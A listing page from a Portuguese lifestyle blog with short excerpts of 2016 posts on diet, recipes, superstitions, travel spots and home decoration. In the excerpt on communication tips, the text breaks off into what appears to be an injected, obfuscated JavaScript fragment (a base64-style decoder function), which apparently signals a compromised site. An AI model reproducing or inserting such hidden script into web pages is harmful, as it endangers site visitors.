Jul 7, 2016 | Equilíbrio, header, Saúde e bem estar
Nutrição – as quantidades ideais de cada alimento por Lillian Barros Por vezes mesmo sabendo o que devemos comer, ficamos com dúvidas quanto às quantidades…. será que está a comer a porção certa de alimentos na sua refeição? Estaremos a comer legumes a...
Jul 7, 2016 | À descoberta, Sabedoria
10 superstições bem conhecidas – qual a origem? por Andreia Vale São muitas as superstições que por vezes nos condicionam os comportamentos – evitamos fazer certas coisas, ou adotamos rituais nem sabemos bem porquê, mas que nos trazem conforto e que acreditamos...
Jul 6, 2016 | Equilíbrio, Saúde e bem estar
Frutos e vegetais que ajudam a manter a pele bronzeada Sabia que, se consumirmos determinados alimentos, estes nos vão ajudar a ter um bronzeado lindo e muito mais duradouro? Pois é, para além de deliciosos, estes frutos e vegetais podem ser os nossos melhores amigos...
Jul 6, 2016 | Equilíbrio, Sugestões
Dicas para ser um bom comunicador Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jul 4, 2016 | Apanhados na rede, Olha que giro
Os mais fantásticos pores do sol de Portugal Passamos a vida sempre a correr, com pouco tempo para parar e simplesmente olhar à nossa volta e vermos como é maravilhoso o nosso país. E se há uma altura do dia em que qualquer paisagem fica ainda mais bonita, é sem...
Jul 4, 2016 | À descoberta, Faça você mesmo
Decoração sem custos – conchas e búzios Aposto que nem imagina a quantidade de coisas lindas pode fazer com as conchas e os búzios que encontra na praia! Já lhe disse várias vezes que não precisa de gastar muito dinheiro para dar um toque pessoal à sua casa,...
Jul 2, 2016 | À descoberta, Receitas
2 saladas de verão por Luísa Fortes da Cunha Salada de atum com ovo cozido, rúcula, alface, tomate, pepino, manjericão Ingredientes 6 Folhas de alface em pedaços 3 Ovos cozidos cortados 2-3 Latas de atum 2 Tomates Rúcula a gosto 1 Pepino cortado às rodelas Folhas de...
Jun 30, 2016 | Equilíbrio, Saúde e bem estar
A minha dieta: a pesagem final. Ainda se lembra porque é que eu comecei a dieta Lev há um mês? Pois é, tinha engordado no inverno e as roupitas mais apertadas já não me assentavam como eu queria. Era difícil disfarçar as gordurinhas. Como não estava contente com a...
Jun 29, 2016 | Apanhados na rede, Olha que giro
Lugares Santos em Portugal Igreja do Mosteiro de Nossa Senhora de Arouca, Aveiro A história do Mosteiro de Arouca é multissecular e acidentada. Inicialmente beneditino, data de pouco antes do ano 925 e teve como primitivos patronos S. Pedro e S. Paulo, S. Cosme e S....
Jun 28, 2016 | À descoberta, Receitas
Gelado de morango e iogurte 0% gordura por Luísa Fortes da Cunha Ingredientes 6-8 Morangos congelados 4-6 Colheres de sopa de iogurte 0% gordura Amêndoas para polvilhar Açaí como topping Preparação Muito fácil: basta juntar o iogurte aos morangos, triturar tudo e...
